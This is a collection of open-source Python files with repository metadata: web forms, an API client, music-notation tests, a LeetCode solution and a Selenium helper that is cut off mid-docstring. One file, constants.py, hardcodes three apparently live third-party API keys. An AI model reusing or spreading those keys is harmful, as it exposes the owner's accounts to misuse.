7b71e6e76cd8eed90ffb4c7270aafdfd2aecf697

702

py

Python

app/forms.py

dpguthrie/loan-comparison

f1f6cc7f97fc204a91166c3dfaa55e5c09a49fdd

[ "MIT" ]

2

2017-11-06T17:43:49.000Z

2019-12-20T05:23:39.000Z

app/forms.py

dpguthrie/loan-comparison

f1f6cc7f97fc204a91166c3dfaa55e5c09a49fdd

[ "MIT" ]

4

2019-12-05T23:45:48.000Z

2019-12-05T23:45:50.000Z

app/forms.py

dpguthrie/Loan-Comparison

f1f6cc7f97fc204a91166c3dfaa55e5c09a49fdd

[ "MIT" ]

null

from flask_wtf import Form from wtforms import DecimalField, IntegerField from wtforms.validators import DataRequired class LoanForm(Form): Amount = DecimalField("Commitment Amount", validators=[DataRequired("Please enter an amount")]) Term = IntegerField("Term (Months)", validators=[DataRequired("Please enter the loan term (in years)")]) Amort = IntegerField("Amortization (Months)", validators=[DataRequired("Please enter the loan amortization (in years)")]) Rate = DecimalField("Interest Rate", validators=[DataRequired("Please enter the loan's interest rate")]) Reset = IntegerField("Rate Reset (Month)", validators=[DataRequired("Please enter the month the rate resets")])

58.5

125

0.757835

81

702

6.555556

0.382716

0.207156

0.263653

0.310734

0.316384

0.248588

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0.126781

702

11

126

63.818182

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1

0

null

1

0

null

0

1

0

1

0

5

7b874aff539a08da9357c443415ceade030f76c0

148

py

Python

boilerplate/users/admin.py

andre-dasilva/django-boilerplate

2bce4623053a3993bf4ba897109de8ea3ce0fd0f

[ "MIT" ]

null

boilerplate/users/admin.py

andre-dasilva/django-boilerplate

2bce4623053a3993bf4ba897109de8ea3ce0fd0f

[ "MIT" ]

null

boilerplate/users/admin.py

andre-dasilva/django-boilerplate

2bce4623053a3993bf4ba897109de8ea3ce0fd0f

[ "MIT" ]

null

from django.contrib import admin # Register your models here. from django.contrib.auth import get_user_model admin.site.register(get_user_model())

24.666667

46

0.824324

23

148

5.130435

0.608696

0.169492

0.288136

0

0.101351

148

6

47

24.666667

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0.175676

0

1

0

true

0

0.666667

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1

0

1

0

null

0

1

0

1

0

5

7b9a75b894713427865776b11b48b39bfe37cb0f

259

py

Python

share/ttkwidgets/autocomplete/__init__.py

Marusoftware/Marutools

2b462ea02abaf957eb037c281b62d7efe053840e

[ "MIT" ]

null

share/ttkwidgets/autocomplete/__init__.py

Marusoftware/Marutools

2b462ea02abaf957eb037c281b62d7efe053840e

[ "MIT" ]

5

2021-01-21T09:46:12.000Z

2022-02-14T13:54:44.000Z

share/ttkwidgets/autocomplete/__init__.py

Marusoftware/Marutools

2b462ea02abaf957eb037c281b62d7efe053840e

[ "MIT" ]

2

2021-11-02T11:01:53.000Z

2022-02-14T10:11:21.000Z

# Copyright (c) The ttkwidgets authors 2017 # Available under the license found in LICENSE from .autocomplete_entry import AutocompleteEntry from .autocompletecombobox import AutocompleteCombobox from .autocomplete_entrylistbox import AutocompleteEntryListbox

51.8

63

0.872587

27

259

8.296296

0.703704

0.142857

0

0.017167

0.100386

259

5

63

51.8

0.944206

0.332046

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true

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1

0

null

0

1

0

1

0

1

0

5

c86ccc1189138c33e39c41f7f70655d56c769c46

58

py

Python

conftest.py

felskrone/salt-eventsd

82acde6d1ca618809c81c662fc7d57ea8ae23712

[ "Apache-2.0" ]

27

2015-01-06T00:56:55.000Z

2020-10-16T16:32:05.000Z

conftest.py

felskrone/salt-eventsd

82acde6d1ca618809c81c662fc7d57ea8ae23712

[ "Apache-2.0" ]

26

2015-01-18T01:38:00.000Z

2020-05-30T09:59:26.000Z

conftest.py

felskrone/salt-eventsd

82acde6d1ca618809c81c662fc7d57ea8ae23712

[ "Apache-2.0" ]

11

2015-01-11T11:14:41.000Z

2019-12-17T06:11:36.000Z

# coding=utf-8 """ """ # 3rd party imports import pytest

8.285714

19

0.637931

8

58

4.625

1

0

0.042553

0.189655

58

6

20

9.666667

0.744681

0.517241

0

1

0

true

0

1

0

1

0

1

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null

0

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null

0

1

0

1

0

1

0

5

c8a3beb91780d5ee12fba69f8043488b0c21de5d

3,752

py

Python

CmixAPIClient/project.py

cmodzelewski-dynata/python-cmixapi-client

ba1a7b2b9c5d8664ac94ca8122c0a5259941d888

[ "MIT" ]

1

2020-01-21T14:42:33.000Z

CmixAPIClient/project.py

cmodzelewski-dynata/python-cmixapi-client

ba1a7b2b9c5d8664ac94ca8122c0a5259941d888

[ "MIT" ]

102

2020-01-18T08:40:42.000Z

2022-01-25T11:00:00.000Z

CmixAPIClient/project.py

cmodzelewski-dynata/python-cmixapi-client

ba1a7b2b9c5d8664ac94ca8122c0a5259941d888

[ "MIT" ]

2

2020-01-15T12:47:37.000Z

2020-07-10T22:06:45.000Z

# -*- coding: utf-8 -*- from __future__ import unicode_literals from .error import CmixError class CmixProject(object): def __init__(self, client, project_id): if None in [client, project_id]: raise CmixError("Client and project id are required.") self.client = client self.project_id = project_id def delete_project(self): project_endpoint = 'projects/{}'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while deleting project' project_response = self.client.api_delete(project_endpoint, project_error) return project_response def delete_group(self, group_id): project_endpoint = 'projects/{}/groups/{}'.format(self.project_id, group_id) project_error = 'CMIX returned a non-200 response code while deleting group' project_response = self.client.api_delete(project_endpoint, project_error) return project_response def get_project(self): project_endpoint = 'projects/{}'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_sources(self): project_endpoint = 'projects/{}/sources'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project sources' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_groups(self): project_endpoint = 'projects/{}/groups'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project groups' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_links(self): project_endpoint = 'projects/{}/links'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project links' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_full_links(self): project_endpoint = 'projects/{}/full-links'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project full links' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_locales(self): project_endpoint = 'projects/{}/locales'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project locales' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_markup_files(self): project_endpoint = 'projects/{}/markup-files'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project markup files' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_respondent_links(self): project_endpoint = 'projects/{}/respondent-links'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project respondent links' project_response = self.client.api_get(project_endpoint, project_error) return project_response def get_surveys(self): project_endpoint = 'projects/{}/surveys'.format(self.project_id) project_error = 'CMIX returned a non-200 response code while getting project surveys' project_response = self.client.api_get(project_endpoint, project_error) return project_response

47.493671

102

0.722015

469

3,752

5.526652

0.113006

0.093364

0.060185

0.084877

0.799383

0.762346

0.759645

0.729938

0.728781

0

0.011296

0.197761

3,752

78

103

48.102564

0.849834

0.005597

0

0.380952

0

0.260392

0.025476

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0.190476

false

0

0.031746

0

0.412698

0

null

0

1

0

null

0

5

7402cb71101a3e2d55aa90f1c7c3fcdfdc68f04f

317

py

Python

0231_PowerOfTwo.py

yingzhuo1994/LeetCode

636eef90867d21e3439d258ec99fbb8e5ad5a742

[ "MIT" ]

null

0231_PowerOfTwo.py

yingzhuo1994/LeetCode

636eef90867d21e3439d258ec99fbb8e5ad5a742

[ "MIT" ]

null

0231_PowerOfTwo.py

yingzhuo1994/LeetCode

636eef90867d21e3439d258ec99fbb8e5ad5a742

[ "MIT" ]

null

class Solution: # 1st solution # O(1) time | O(1) space def isPowerOfTwo(self, n: int) -> bool: x = 1 while x < n: x *= 2 return x == n # 2nd solution # O(1) time | O(1) space def isPowerOfTwo(self, n: int) -> bool: return n > 0 and not (n & n-1)

24.384615

43

0.476341

48

317

3.145833

0.4375

0.05298

0.13245

0.18543

0.635762

0

0.052083

0.394322

317

13

44

24.384615

0.734375

0.230284

0

0.25

0

1

0.25

false

0

0.125

0.625

0

null

0

1

0

1

0

null

0

1

0

1

0

5

cda01214c5f11754116056594b4c8454b49d0fdb

41

py

Python

bitmovin/errors/bitmovin_error.py

camberbridge/bitmovin-python

3af4c6e79b0291fda05fd1ceeb5bed1bba9f3c95

[ "Unlicense" ]

44

2016-12-12T17:37:23.000Z

2021-03-03T09:48:48.000Z

bitmovin/errors/bitmovin_error.py

camberbridge/bitmovin-python

3af4c6e79b0291fda05fd1ceeb5bed1bba9f3c95

[ "Unlicense" ]

38

2017-01-09T14:45:45.000Z

2022-02-27T18:04:33.000Z

bitmovin/errors/bitmovin_error.py

camberbridge/bitmovin-python

3af4c6e79b0291fda05fd1ceeb5bed1bba9f3c95

[ "Unlicense" ]

27

2017-02-02T22:49:31.000Z

2019-11-21T07:04:57.000Z

class BitmovinError(Exception): pass

13.666667

31

0.756098

4

41

7.75

1

0

0.170732

41

2

32

20.5

0.911765

0

1

0

true

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

5

cdb053d908eaa8c7a36f635403d213fea4bf0a2c

3,798

py

Python

tests/mutate/test_respell_augmented_unisons.py

gilbertohasnofb/auxjad

553b7fe97221b6f378a93ade6262f024e3cbc678

[ "MIT" ]

6

2020-05-18T09:28:29.000Z

2021-12-22T00:40:54.000Z

tests/mutate/test_respell_augmented_unisons.py

gilbertohasnofb/auxjad

553b7fe97221b6f378a93ade6262f024e3cbc678

[ "MIT" ]

1

2021-04-21T20:29:38.000Z

2021-04-22T19:44:54.000Z

tests/mutate/test_respell_augmented_unisons.py

gilbertohasnofb/auxjad

553b7fe97221b6f378a93ade6262f024e3cbc678

[ "MIT" ]

1

2021-04-21T18:54:46.000Z

import abjad import auxjad def test_respell_augmented_unisons_01(): staff = abjad.Staff(r"c'4 r4 <ef' e'>4 g'4 <c' cs'>4 r2.") auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { c'4 r4 <ds' e'>4 g'4 <c' df'>4 r2. } """ ) def test_respell_augmented_unisons_02(): staff = abjad.Staff() for pitch in range(12): staff.append(abjad.Chord([pitch, pitch + 1], (1, 16))) auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <c' df'>16 <cs' d'>16 <d' ef'>16 <ds' e'>16 <e' f'>16 <f' gf'>16 <fs' g'>16 <g' af'>16 <gs' a'>16 <a' bf'>16 <as' b'>16 <b' c''>16 } """ ) def test_respell_augmented_unisons_03(): staff = abjad.Staff(r"<a c' cs' f'>1") auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <a c' df' f'>1 } """ ) def test_respell_augmented_unisons_04(): staff = abjad.Staff(r"<e' cs' g' ef'>1") auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <cs' ds' e' g'>1 } """ ) def test_respell_augmented_unisons_05(): staff = abjad.Staff(r"<c' cs''>1") auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <c' cs''>1 } """ ) auxjad.mutate.respell_augmented_unisons(staff[:], include_multiples=True) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <c' df''>1 } """ ) def test_respell_augmented_unisons_06(): staff = abjad.Staff(r"<c' cs' cs''>1") auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <c' df' cs''>1 } """ ) staff = abjad.Staff(r"<c' cs' cs''>1") auxjad.mutate.respell_augmented_unisons( staff[:], respell_by_pitch_class=True, ) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <c' df' df''>1 } """ ) def test_respell_augmented_unisons_07(): staff = abjad.Staff( r""" <e' bs'>1 <e' b' bs'>1 <e' cf''>1 <e' cf'' c''>1 <es' c''>1 <e' es' c''>1 <ff' c''>1 <ff' f' c''>1 """ ) auxjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { <e' bs'>1 <e' b' c''>1 <e' cf''>1 <e' b' c''>1 <es' c''>1 <e' f' c''>1 <ff' c''>1 <e' f' c''>1 } """ ) def test_respell_augmented_unisons_08(): staff = abjad.Staff(r"c'4 r4 <ef' e'>4 g'4 <c' cs'>4 r2.") abjad.mutate.respell_augmented_unisons(staff[:]) assert abjad.lilypond(staff) == abjad.String.normalize( r""" \new Staff { c'4 r4 <ds' e'>4 g'4 <c' df'>4 r2. } """ )

22.210526

77

0.461822

454

3,798

3.740088

0.136564

0.111896

0.243816

0.170789

0.852179

0.759717

0.682568

0.644876

0.618963

0

0.041347

0.382306

3,798

170

78

22.341176

0.682438

0

0.318182

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0.030303

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0

0.151515

1

0.121212

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0

0.030303

0

0.151515

0

null

0

1

0

1

0

null

0

5

a82f92442b378bef302b650c32fcb80e7caa419b

162

py

Python

tests/testimage.py

rayvnekieron/regionator

ed32f43c315465402b7e18c9f374e22dd89db64e

[ "Apache-2.0" ]

null

tests/testimage.py

rayvnekieron/regionator

ed32f43c315465402b7e18c9f374e22dd89db64e

[ "Apache-2.0" ]

null

tests/testimage.py

rayvnekieron/regionator

ed32f43c315465402b7e18c9f374e22dd89db64e

[ "Apache-2.0" ]

null

#!/usr/bin/env python import kml.image image = kml.image.Image('image.gif') if image.OutputFormat() != 'GIF': print 'ERROR in kml.image.Image().OutputFormat'

20.25

49

0.703704

24

162

4.75

0.541667

0.350877

0.342105

0

0.117284

162

7

50

23.142857

0.797203

0.123457

0

0.361702

0.212766

0

null

0

0.25

null

0.25

1

0

null

1

0

1

0

null

0

1

0

5

b52b2c9998b8237bacfaafd009ba1da9a901f368

250

py

Python

utils/config/constants.py

brunofornazari/tcc

57990d68ca196b4da7791faab717d67cfe5497d3

[ "Unlicense" ]

null

utils/config/constants.py

brunofornazari/tcc

57990d68ca196b4da7791faab717d67cfe5497d3

[ "Unlicense" ]

null

utils/config/constants.py

brunofornazari/tcc

57990d68ca196b4da7791faab717d67cfe5497d3

[ "Unlicense" ]

null

""" constants.py Constants.py é responsável por armazenar qualquer varia´vel fixa utilizada no projeto. """ WITAI_KEY = 'ZBH7LRPZAISA7VIM7CNZDG3HJJPRTVTA' PYOWM_KEY = '48250140b550af15b1537f212d815013' NEWS_KEY = '281513d9cf5f444da3c010c87cccdd62'

25

86

0.824

25

250

8.16

0.84

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0

0.217778

0.1

250

9

87

27.777778

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0.4

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0

1

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null

0

1

0

1

0

1

null

0

5

b5503a9d7b5e3fd51c4b7c412c18e4465c98ea1d

382

py

Python

inicio.py

ccastillo-py/BBDD_peewee

7417b00b1b13a64d9a197f2fe833f3d7b8ff931c

[ "MIT" ]

null

inicio.py

ccastillo-py/BBDD_peewee

7417b00b1b13a64d9a197f2fe833f3d7b8ff931c

[ "MIT" ]

null

inicio.py

ccastillo-py/BBDD_peewee

7417b00b1b13a64d9a197f2fe833f3d7b8ff931c

[ "MIT" ]

null

''' ============================================================================================ Proyecto Final de Curso v2.0 Carlos Castillo Rodríguez ============================================================================================ ''' from herramientas.menu import menu from base_datos.creacion_tablas import inicializar_tablas inicializar_tablas() menu()

31.833333

93

0.395288

25

382

5.88

0.72

0.231293

0

0.005747

0.089005

382

12

94

31.833333

0.416667

0.628272

0

1

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true

0

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0.5

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1

0

1

0

null

0

1

0

1

0

5

b571231ef4dc7a80bf306168de613f966ed3016c

32,171

py

Python

tests/selenium/guiops/selenium_api/selenium_api_experimental.py

gholms/eucaconsole

4629c961c90e3aae27e3a869a7f157bafeda6489

[ "BSD-2-Clause" ]

null

tests/selenium/guiops/selenium_api/selenium_api_experimental.py

gholms/eucaconsole

4629c961c90e3aae27e3a869a7f157bafeda6489

[ "BSD-2-Clause" ]

10

2018-03-28T17:25:16.000Z

2021-03-05T10:15:06.000Z

tests/selenium/guiops/selenium_api/selenium_api_experimental.py

gholms/eucaconsole

4629c961c90e3aae27e3a869a7f157bafeda6489

[ "BSD-2-Clause" ]

1

2019-06-07T20:43:45.000Z

from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import Select from selenium.common.exceptions import NoSuchElementException from selenium.common.exceptions import ElementNotVisibleException from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import time class UICheckException(Exception): def __init__(self, message): raise Exception(message) class SeleniumApi_experimental(): def __init__(self, driver): """ :param driver: webdriver """ assert isinstance(driver, webdriver.Firefox) self.driver = driver retry = 400 timeout_to_locate_element_in_seconds = 30 timeout_to_determine_visibility_in_seconds = 5 timeout_to_determine_if_clickable_in_seconds = 20 def wait_for_element_present_by_id_experimental(self, element_id): """ Waits for element to be present on the page for timeout_to_locate_element_in_seconds Checks for presence every 500 milliseconds """ print "Executing wait_for_element_present_by_id("+element_id+")" print "Looking for element id = " + element_id + " in the DOM." print "Timeout is set to " + str(self.timeout_to_locate_element_in_seconds) + " seconds" # element_present = self.driver.find_element(By.ID, element_id) wait = WebDriverWait(self.driver, self.timeout_to_locate_element_in_seconds, 1, (NoSuchElementException)) def my_method(): try: self.driver.find_element(By.ID, element_id) return True except NoSuchElementException, nse: return False wait.until(my_method, message="Found element") return 0 def wait_for_element_present_by_id_experimental(self, element_id): """ Waits for element to be present on the page for timeout_to_locate_element_in_seconds Checks for presence every 500 milliseconds """ print "Executing wait_for_element_present_by_id("+element_id+")" print "Looking for element id = " + element_id + " in the DOM." print "Timeout is set to " + str(self.timeout_to_locate_element_in_seconds) + " seconds" # element_present = self.driver.find_element(By.ID, element_id) #wait = WebDriverWait(self.driver, self.timeout_to_locate_element_in_seconds, 1, (NoSuchElementException)) def my_method(self): try: self.driver.find_element_by_id(element_id) return True except NoSuchElementException, nse: return False WebDriverWait(self.driver, self.timeout_to_locate_element_in_seconds).until(my_method, "Found element") return 0 def wait_for_element_not_present_by_id_experimental(self, element_id): print "Executing wait_for_element_not_present_by_id("+element_id+")" print "Looking for element id = " + element_id + " in the DOM." print "Timeout is set to " + str(self.timeout_to_locate_element_in_seconds) + " seconds" wait = WebDriverWait(self.driver, self.timeout_to_locate_element_in_seconds) if wait.until_not(EC.presence_of_element_located((By.ID, element_id))): print "Verified element id = " + element_id + " not present." else: raise UICheckException return 0 def wait_for_visible_by_id_experimental(self, element_id): """ Waits for element to become visible for timeout_to_determine_visibility_in_seconds Checks for presence and visibility every 500 milliseconds :param element_id: """ print "Waiting for element id = " + element_id + " to become visible." if self.wait_for_element_present_by_id(element_id): wait = WebDriverWait(self.driver, self.timeout_to_determine_visibility_in_seconds) element = wait.until(EC.visibility_of_element_located((By.ID, element_id))) # def verify_element_present_by_id(self, element_id): # # """ # Tries to locate element by polling every 500ms until timeout_to_locate_element_in_seconds is reached. # :param element_id: # """ # element = WebDriverWait(self.driver, self.timeout_to_locate_element_in_seconds).until( # EC.presence_of_element_located((By.ID, element_id))) # print element def verify_element_visible_by_id_experimental(self, element_id): """ Checks for visibility of element by polling every 500ms until timeout_to_determine_visibility_in_seconds is reached. :param element_id: """ element = WebDriverWait(self.driver, self.timeout_to_determine_visibility_in_seconds).until( EC.visibility_of_element_located((By.ID, element_id)) ) print element # self.verify_element_present("ID", element_id) # self.set_implicit_wait(self.timeout_to_determine_visibility_in_seconds) # is_visible = False # try: # is_visible = self.driver.find_element_by_id(element_id).is_displayed() #except ElementNotVisibleException: # pass #finally: # if is_visible: # print "Element " + element_id + " is visible" # else: # print "Element " + element_id + " is not visible" def verify_element_clickable_by_id_experimental(self,element_id): """ Checks whether the element is clickable by polling every 500ms until timeout_to_determine_if_clickable_in_seconds is reached. :param element_id: """ element = WebDriverWait(self.driver, self.timeout_to_determine_if_clickable_in_seconds).until( EC.element_to_be_clickable((By.ID,element_id)) ) print element ################################################# def wait_for_visible(self, element_type, element): """ Checks visibility of an element. Keeps checking for visibility until max number of trials self.retry is reached. :param element_type: :param element: :return: :raise: """ self.check_if_element_present_by_type(element_type, element) is_visible = False for i in range(self.retry): print "Wait On Visiblity:: Trial: " + str(i) + " Element Type: " + element_type + ", Element: " + element if element_type is "LINK_TEXT": is_visible = self.driver.find_element_by_link_text(element).is_displayed() elif element_type is "ID": is_visible = self.driver.find_element_by_id(element).is_displayed() elif element_type is "CSS_SELECTOR": is_visible = self.driver.find_element_by_css_selector(element).is_displayed() elif element_type is "XPATH": is_visible = self.driver.find_element_by_xpath(element).is_displayed() elif element_type is "NAME": is_visible = self.driver.find_element_by_name(element).is_displayed() if is_visible is True: print "Element " + element + " is visible" break time.sleep(1) if is_visible is False: print "Element " + element + " is not visible!" return is_visible def click_on_visible(self, element_type, element): """ Waits for an element to become visible then clicks the element by its locator. :rtype : object :param element_type: :param element: """ self.wait_for_visible(element_type, element) if element_type is "LINK_TEXT": self.click_element_by_link_text(element) elif element_type is "ID": self.click_element_by_id(element) elif element_type is "CSS_SELECTOR": self.click_element_by_css_selector(element) elif element_type is "XPATH": self.click_element_by_xpath(element) elif element_type is "NAME": self.click_element_by_name(element) def verify_element_present(self, how, what): """ Finds element by locator. Takes as arguments element type and element locator. Will try locating element until implicit wait limit timeout_to_locate_element_in_seconds is reached. Returns NoSuchElementException if element is not found. :param how: :param what: """ print "Executing verify_element_present (" + str(how) + " , " + str(what) + " )" self.set_implicit_wait(self.timeout_to_locate_element_in_seconds) try: self.driver.find_element(by=how, value=what) except NoSuchElementException: return False return True def verify_element_present(self, how, what): """ Finds element by locator. Takes as arguments element type and element locator. Will try locating element until implicit wait limit timeout_to_locate_element_in_seconds is reached. Returns NoSuchElementException if element is not found. :param how: :param what: """ print "Executing verify_element_present (" + str(how) + " , " + str(what) + " )" self.set_implicit_wait(self.timeout_to_locate_element_in_seconds) try: self.driver.find_element(by=how, value=what) except NoSuchElementException: return False return True def wait_for_visible_by_id(self, element_id): """ Checks visibility of an element using its id. Keeps checking for visibility until max number of trials self.retry is reached. :param element_id: """ print "Executing wait_for_visible_by_id( "+element_id+" )" self.wait_for_element_present_by_id(element_id) is_visible = False for i in range(self.retry): is_visible = self.driver.find_element_by_id(element_id).is_displayed() if is_visible is True: print "Element " + element_id + " is visible" break time.sleep(1) if is_visible is False: print "Element " + element_id + " is not visible" def wait_for_visible_by_css_selector(self, css): """ Checks visibility of an element using its css. Keeps checking for visibility until max number of trials self.retry is reached. :param self: :param css: """ is_visible = False for i in range(self.retry): is_visible = self.driver.find_element_by_css_selector(css).is_displayed() if is_visible is True: print "Element " + css + " is visible" break time.sleep(1) if is_visible is False: print "Element " + css + " is not visible" def wait_for_visible_by_xpath(self, xpath): """ Checks visibility of an element using its xpath. Keeps checking for visibility until max number of trials self.retry is reached. :param xpath: """ is_visible = False for i in range(self.retry): is_visible = self.driver.find_element_by_xpath(xpath).is_displayed() if is_visible is True: print "Element " + xpath + " is visible" break time.sleep(1) if is_visible is False: print "Element " + xpath + " is not visible" def click_element_by_link_text(self, link_text): if self.check_if_element_present_by_type("LINK_TEXT", link_text) is not 0: raise UICheckException("Element by link text not present: " + link_text) if self.verify_element_visible_by_link_text(link_text) is not True: raise UICheckException("Element by link text not visible:" + link_text) print "Click: Element Type: LINK_TEXT, Element: " + link_text self.driver.find_element_by_link_text(link_text).click() time.sleep(1) return 0 def click_element_by_css_selector(self, css_selector): if self.check_if_element_present_by_type("CSS_SELECTOR", css_selector) is not 0: raise UICheckException("Element by css selector not present: " + css_selector) if self.verify_element_visible_by_css_selector(css_selector) is not True: raise UICheckException("Element by css selector not visible:" + css_selector) print "Click: Element Type: CSS_SELECTOR, Element: " + css_selector self.driver.find_element_by_css_selector(css_selector).click() time.sleep(1) return 0 def click_element_by_xpath(self, xpath): if self.check_if_element_present_by_type("XPATH", xpath) is not 0: raise UICheckException("Element by xpath not present: " + xpath) # if self.check_if_element_visible_by_type("XPATH", xpath) is not True: # raise UICheckException("Element by xpath not visible:" + xpath) print "Click: Element Type: XPATH, Element: " + xpath self.driver.find_element_by_xpath(xpath).click() time.sleep(1) return 0 def click_element_by_name(self, name): if self.check_if_element_present_by_type("NAME", name) is not 0: raise UICheckException("Element by name not present: " + name) if self.verify_text_not_present_by_name("NAME", name) is not True: raise UICheckException("Element by name not visible:" + name) print "Click: Element Type: NAME, Element: " + name self.driver.find_element_by_name(name).click() return 0 def click_on_visible_by_id(self, element_id): """ Waits for an element to become visible then clicks the element by its id. :param element_id: """ self.wait_for_visible_by_id(element_id) self.click_element_by_id(element_id) def click_on_visible_by_css_selector(self, css): """ Waits for an element to become visible then clicks the element by its css. :param css: """ self.wait_for_visible_by_css_selector(css) self.click_element_by_css_selector(css) def verify_element_visible_by_link_text(self, link_text): """ Checks if element is visible using link text. Does not retry. :param link_text: """ return self.driver.find_element_by_link_text(link_text).is_displayed() def verify_element_visible_by_id(self, element_id): """ Checks if element is visible using id. Does not retry. :param element_id: """ return self.driver.find_element_by_id(element_id).is_displayed() def verify_element_visible_by_css_selector(self, css): """ Checks if element is visible using css. Does not retry. :param css: """ return self.driver.find_element_by_css_selector(css).is_displayed() def verify_element_visible_by_xpath(self, xpath): """ Checks if element is visible using xpath. Does not retry. :param xpath: """ return self.driver.find_element_by_xpath(xpath).is_displayed() def verify_element_visible_by_name(self, name): """ Checks if element is visible using name. Does not retry. :param name: """ return self.driver.find_element_by_name(name).is_displayed() def send_keys_by_link_text(self, link_text, keys): if self.check_if_element_present_by_type("LINK_TEXT", link_text) is not 0: raise UICheckException("Element by link text not present:" + link_text) if self.verify_element_visible_by_link_text(link_text) is not True: raise UICheckException("Element by link text not visible:" + link_text) print "Set: Element Type: LINK_TEXT, Element: " + link_text + ", Keys: " + keys self.driver.find_element_by_link_text(link_text).clear() self.driver.find_element_by_link_text(link_text).send_keys(keys) return 0 def select_visible_text_by_name(self, name, visible_text): if self.check_if_element_present_by_type("NAME", name) is not 0: raise UICheckException("Element by name not present: " + name) if self.verify_element_visible_by_name(name) is not True: raise UICheckException("Element by name not visible:" + name) print "Select: Element Type: NAME, Element: " + name + ", Text: " + visible_text Select(self.driver.find_element_by_name(name)).select_by_visible_text(visible_text) return 0 def verify_element_not_present(self, element_type, element): """ Waits for the element to disappear from the page. Keeps checking until max number or retries self.retry is reached. :param element_type: :param element: """ this_element_type = "" if element_type is "LINK_TEXT": this_element_type = By.LINK_TEXT elif element_type is "ID": this_element_type = By.ID elif element_type is "CSS_SELECTOR": this_element_type = By.CSS_SELECTOR elif element_type is "XPATH": this_element_type = By.XPATH elif element_type is "NAME": this_element_type = By.NAME for i in range(1, self.retry, 1): print "Wait On Removal:: Trial: " + str(i) + " Element Type: " + element_type + ", Element: " + element try: self.driver.find_element(this_element_type, element) except NoSuchElementException: print print "Verified Removal:: Element type: " + element_type + ", Element: " + element return True def verify_text_not_present_by_css(self, css, text): """ Waits for the element to disappear from the page by css. Keeps checking until max number or retries self.retry is reached. :param css: :param text: """ print"Verifying that text displayed at " + css + " does not match " + text for i in range(1, self.retry, 1): displayed = self.store_visible_text_by_css_selector(css) print "Currently displayed at locator " + css + " is " + displayed if displayed != text: print "Verified " + self.store_visible_text_by_css_selector(css) + " does not match " + text return True else: print print "Trial " + str(i) + " :" def verify_text_not_present_by_id(self, element_id, text): """ Waits for the element to disappear from the page by id. Keeps checking until max number or retries self.retry is reached. :param element_id: :param text: """ print"Verifying that text displayed at " + element_id + " does not match " + text for i in range(1, self.retry, 1): if self.store_visible_text_by_id(element_id) != text: print "Verified " + self.store_visible_text_by_id(element_id) + " does not match " + text return True else: print print "Trial " + str(i) + " :" def verify_text_not_present_by_name(self, name, text): """ Waits for the element to disappear from the page by name. Keeps checking until max number or retries self.retry is reached. """ print"Verifying that text displayed at " + name + " does not match " + text for i in range(1, self.retry, 1): if self.store_visible_text_by_name(name) != text: print "Verified " + self.store_visible_text_by_name(name) + " does not match " + text return True else: print print "Trial " + str(i) + " :" def verify_text_not_present_by_xpath(self, xpath, text): """ Waits for the element to disappear from the page by xpath. Keeps checking until max number or retries self.retry is reached. :param xpath: :param text: """ print"Verifying that text displayed at " + xpath + " does not match " + text for i in range(1, self.retry, 1): text_on_page = self.store_visible_text_by_xpath(xpath) time.sleep(10) if text_on_page != text: print "Verified " + self.store_visible_text_by_xpath(xpath) + " does not match " + text return True else: print print "Found text: " + text_on_page + "( Waiting for " + text + " to disappear )" print print "Trial " + str(i) + " :" def verify_text_displayed_by_id(self, element_id, element_text): """ Will wait for element to become visible. Will check if text displayed at element_id matches element_text. Keeps checking until max number or retries self.retry is reached. :param element_id: :param element_text: """ #print("Verifying text " +element_text+" displayed at ID "+element_id) for i in range(self.retry): print "Wait On:: Trial: " + str(i) + " Verifying text " + element_text + " displayed at ID " + element_id self.wait_for_visible_by_id(element_id) try: if element_text == self.driver.find_element_by_id(element_id).text: print"Found text" displayed_text = self.driver.find_element_by_id(element_id).text print("Text displayed at ID " + element_id + " is " + displayed_text) break except: pass time.sleep(1) def verify_text_displayed_by_css(self, element_css, element_text): """ Will wait for element to become visible. Will check if text displayed at element_css matches element_text. Keeps checking until max number or retries self.retry is reached. :param element_css: :param element_text: """ #print("Verifying text " +element_text+" displayed at ID "+element_css) for i in range(self.retry): print "Wait On:: Trial: " + str(i) + " Verifying text " + element_text + " displayed at ID " + element_css self.wait_for_visible_by_css_selector(element_css) try: if element_text == self.driver.find_element_by_css_selector(element_css).text: print"Found text" break except: pass time.sleep(1) try: self.driver.find_element_by_css_selector(element_css).text except AssertionError as e: self.verificationErrors.append(str(e)) displayed_text = self.driver.find_element_by_css_selector(element_css).text print("Text displayed at ID " + element_css + " is " + displayed_text) def verify_text_displayed_by_xpath(self, xpath, element_text): """ Will wait for element to become visible. Will check if text displayed at xpath matches 